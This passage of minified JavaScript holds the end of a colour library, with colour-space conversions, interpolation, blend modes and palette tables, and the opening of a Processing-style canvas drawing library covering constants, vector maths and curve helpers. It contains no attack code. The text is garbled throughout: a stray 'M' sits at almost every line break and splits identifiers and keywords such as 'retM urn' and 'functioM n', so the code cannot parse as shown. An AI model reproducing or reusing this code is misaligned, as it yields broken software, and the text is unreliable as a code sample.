nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
